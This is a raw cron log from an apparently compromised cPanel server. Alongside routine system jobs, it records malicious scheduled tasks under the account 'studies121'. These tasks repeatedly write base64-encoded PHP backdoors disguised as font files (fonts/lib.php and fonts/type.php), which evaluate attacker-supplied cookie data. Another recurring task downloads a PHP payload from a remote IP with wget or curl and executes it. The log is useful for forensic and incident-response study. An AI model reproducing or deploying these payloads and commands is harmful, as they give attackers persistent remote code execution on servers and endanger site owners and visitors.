Sep  9 00:33:01 ip-184-168-122-23 CROND[15002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:33:01 ip-184-168-122-23 CROND[15003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:33:01 ip-184-168-122-23 CROND[15005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:34:01 ip-184-168-122-23 CROND[15165]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:34:01 ip-184-168-122-23 CROND[15167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:34:01 ip-184-168-122-23 CROND[15168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:34:01 ip-184-168-122-23 CROND[15169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:34:01 ip-184-168-122-23 CROND[15170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:35:01 ip-184-168-122-23 CROND[15255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:35:01 ip-184-168-122-23 CROND[15257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:35:01 ip-184-168-122-23 CROND[15256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:35:01 ip-184-168-122-23 CROND[15260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:35:01 ip-184-168-122-23 CROND[15261]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 00:35:01 ip-184-168-122-23 CROND[15263]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 00:35:01 ip-184-168-122-23 CROND[15264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:35:01 ip-184-168-122-23 CROND[15266]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:36:01 ip-184-168-122-23 CROND[15360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:36:01 ip-184-168-122-23 CROND[15363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:36:01 ip-184-168-122-23 CROND[15365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:36:01 ip-184-168-122-23 CROND[15366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:36:01 ip-184-168-122-23 CROND[15364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:37:01 ip-184-168-122-23 CROND[15451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:37:01 ip-184-168-122-23 CROND[15453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:37:01 ip-184-168-122-23 CROND[15454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:37:01 ip-184-168-122-23 CROND[15455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:38:01 ip-184-168-122-23 CROND[15531]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:38:01 ip-184-168-122-23 CROND[15533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:38:01 ip-184-168-122-23 CROND[15535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:38:01 ip-184-168-122-23 CROND[15534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:38:01 ip-184-168-122-23 CROND[15536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:39:01 ip-184-168-122-23 CROND[15628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:39:01 ip-184-168-122-23 CROND[15630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:39:01 ip-184-168-122-23 CROND[15633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:39:01 ip-184-168-122-23 CROND[15631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:39:01 ip-184-168-122-23 CROND[15632]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 00:40:01 ip-184-168-122-23 CROND[15720]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 00:40:01 ip-184-168-122-23 CROND[15721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:40:01 ip-184-168-122-23 CROND[15728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:40:01 ip-184-168-122-23 CROND[15729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:40:01 ip-184-168-122-23 CROND[15730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:40:01 ip-184-168-122-23 CROND[15727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:40:01 ip-184-168-122-23 CROND[15726]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:40:01 ip-184-168-122-23 CROND[15725]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:41:01 ip-184-168-122-23 CROND[15919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:41:01 ip-184-168-122-23 CROND[15922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:41:01 ip-184-168-122-23 CROND[15926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:41:01 ip-184-168-122-23 CROND[15925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:42:01 ip-184-168-122-23 CROND[16008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:42:01 ip-184-168-122-23 CROND[16010]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:42:01 ip-184-168-122-23 CROND[16012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:42:01 ip-184-168-122-23 CROND[16013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:42:01 ip-184-168-122-23 CROND[16014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:43:01 ip-184-168-122-23 CROND[16095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:43:01 ip-184-168-122-23 CROND[16098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:43:01 ip-184-168-122-23 CROND[16099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:43:01 ip-184-168-122-23 CROND[16097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:44:01 ip-184-168-122-23 CROND[16250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:44:01 ip-184-168-122-23 CROND[16252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:44:01 ip-184-168-122-23 CROND[16253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:44:01 ip-184-168-122-23 CROND[16254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:44:01 ip-184-168-122-23 CROND[16258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:45:01 ip-184-168-122-23 CROND[16386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
